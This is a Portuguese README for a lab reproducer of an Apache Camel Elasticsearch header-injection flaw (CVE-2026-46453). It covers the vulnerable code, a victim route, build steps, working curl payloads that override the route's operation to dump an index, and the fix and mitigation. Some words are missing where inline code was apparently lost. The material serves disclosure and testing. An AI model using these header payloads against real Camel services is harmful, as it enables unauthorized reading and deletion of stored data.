
Reprodutor para CVE-2026-46453 — injeção de cabeçalho sem prefixo no camel-elasticsearch-rest-client do Apache Camel (substituição de operação/consulta por meio de cabeçalhos HTTP de entrada)
Este projeto demonstra uma injeção de cabeçalho de mensagem / bypass de autorização no componente camel-elasticsearch-rest-client do Apache Camel, registrado como CVE-2026-46453. O componente lê diversos cabeçalhos do Exchange para controlar seu comportamento — SEARCH_QUERY, OPERATION, INDEX_NAME, INDEX_SETTINGS, ID. Nas versões afetadas, esses valores de string dos cabeçalhos são nomes simples, sem prefixo ("OPERATION", "SEARCH_QUERY", …) em vez dos nomes prefixados com que todos os outros componentes usam. O de entrada do Camel bloqueia apenas nomes que começam com /, então esses cabeçalhos . Quando uma rota expõe um ponto de entrada HTTP (ex.: platform-http) na frente de um produtor elasticsearch-rest-client, um cliente HTTP não confiável pode definir esses cabeçalhos diretamente e configuradas pelo autor da rota — lendo o índice inteiro, excluindo documentos, etc. Nenhuma credencial é necessária.
CamelHttpHeaderFilterStrategyCamelcamel| Propriedade | Valor |
|---|---|
| Componente | camel-elasticsearch-rest-client |
| Constantes afetadas | ElasticSearchRestClientConstant — ID, SEARCH_QUERY, INDEX_SETTINGS, INDEX_NAME, OPERATION (valores não prefixados) |
| CWE | CWE-20 (Validação de Entrada Incorreta) + CWE-639 (Bypass de Autorização Através de Chave Controlada pelo Utilizador) |
| Impacto | Cliente HTTP não confiável sobrescreve a operação/consulta ES — ler/excluir/exfiltrar documentos |
| Versões Afetadas | De 4.3.0 antes de 4.14.8, de 4.15.0 antes de 4.18.3, de 4.19.0 antes de 4.21.0 |
| Versões Corrigidas | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23508 |
| Relator | Yu Bao (PayPal) |
Mesma família de injeção de cabeçalho que CVE-2025-27636, CVE-2025-29891, CVE-2025-30177, CVE-2026-40453 e CVE-2026-47323 — todas originadas de componentes que leem cabeçalhos de entrada que o
HeaderFilterStrategypadrão não bloqueia porque os nomes não começam com o prefixoCamel.
// ElasticSearchRestClientConstant - afetado 4.18.2 (valores não prefixados)
public static final String ID = "ID";
public static final String SEARCH_QUERY = "SEARCH_QUERY";
public static final String INDEX_SETTINGS = "INDEX_SETTINGS";
public static final String INDEX_NAME = "INDEX_NAME";
public static final String OPERATION = "OPERATION";
// ElasticsearchRestClientProducer#resolveOperation - o cabeçalho vence sobre a operação configurada no endpoint
ElasticsearchRestClientOperation operation
= exchange.getMessage().getHeader(OPERATION, endpoint.getOperation(), ElasticsearchRestClientOperation.class);
HttpHeaderFilterStrategy bloqueia apenas Camel*/camel*, portanto, um cabeçalho HTTP de entrada OPERATION: SEARCH (e SEARCH_QUERY: {...}) passa e sobrescreve o operation=GET_BY_ID do autor da rota. A correção (4.14.8 / 4.18.3 / 4.21.0) renomeia os valores para CamelElasticsearchOperation, CamelElasticsearchSearchQuery, etc., de modo que o filtro de entrada os bloqueie (os nomes dos campos Java permanecem inalterados).
from("platform-http:/products")
.to("elasticsearch-rest-client:reproducer?hostAddressesList=<host:port>&operation=GET_BY_ID&indexName=products");
// o autor da rota pretende uma única operação segura: buscar um documento por id
Uma requisição HTTP de um atacante com OPERATION: SEARCH + SEARCH_QUERY: {"query":{"match_all":{}}} sobrescreve isso e despeja o índice inteiro.
CVE-2026-46453/
├── pom.xml # camel-platform-http + camel-elasticsearch-rest-client 4.18.2
├── docker-compose.yml # Elasticsearch 8.15.3 (segurança desativada)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── EsSeeder.java # insere um documento "público" e um "secreto"
│ ├── VictimRoute.java # platform-http -> elasticsearch-rest-client (GET_BY_ID)
│ └── ExploitController.java # atacante: GET_BY_ID legítimo vs OPERATION=SEARCH injetado
└── resources/
└── application.properties
docker compose up -d
# aguarde até ficar pronto:
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:9200/ # -> 200
mvn clean package -DskipTests
java -jar target/cve-2026-46453-elasticsearch-0.0.1-SNAPSHOT.jar
# o aplicativo insere o índice 'products' com um documento público e um secreto na inicialização
curl -s http://localhost:8080/exploit/attack
# === 1) Requisição legítima (ID=public-1) ===
# {"name":"Public Widget","visibility":"public"} segredo vazado: falso
# === 2) Requisição de ataque (OPERATION=SEARCH, SEARCH_QUERY=match_all) ===
# [ ...public..., {"name":"CLASSIFIED-LAUNCH-CODES", ...} ] segredo vazado: verdadeiro
#
# >>> Prova de injeção de cabeçalho — atacante sobrescreveu a operação e leu todo o índice: verdadeiro
Você também pode fazer manualmente — os cabeçalhos injetados passam diretamente pelo filtro de entrada do platform-http:
# legítimo: GET_BY_ID do autor da rota retorna apenas o documento público
curl -s -H "ID: public-1" http://localhost:8080/products
# ataque: sobrescrever a operação e despejar o índice inteiro (incluindo o secreto)
curl -s -H "OPERATION: SEARCH" -H 'SEARCH_QUERY: {"query":{"match_all":{}}}' http://localhost:8080/products
docker compose down
Qualquer rota que exponha um ponto de entrada HTTP na frente de um produtor elasticsearch-rest-client. O atacante define OPERATION, SEARCH_QUERY, INDEX_NAME, INDEX_SETTINGS ou ID na requisição HTTP de entrada; eles contornam o filtro de entrada de prefixo Camel e alcançam o produtor.
HttpHeaderFilterStrategy padrão (bloqueia apenas Camel*), que não cobre os cabeçalhos ES não prefixados.Atualize para 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23508), que prefixa os valores dos cabeçalhos com Camel para que o filtro de entrada os bloqueie.
Até a atualização, remova os cabeçalhos afetados de mensagens de entrada não confiáveis antes do produtor:
.removeHeaders("SEARCH_QUERY|OPERATION|INDEX_NAME|INDEX_SETTINGS|ID")
ou aplique um HeaderFilterStrategy personalizado que bloqueie esses nomes.
Este reprodutor é fornecido apenas para pesquisa de segurança e testes autorizados, para uma vulnerabilidade divulgada publicamente e corrigida. Não o utilize contra sistemas sem permissão explícita.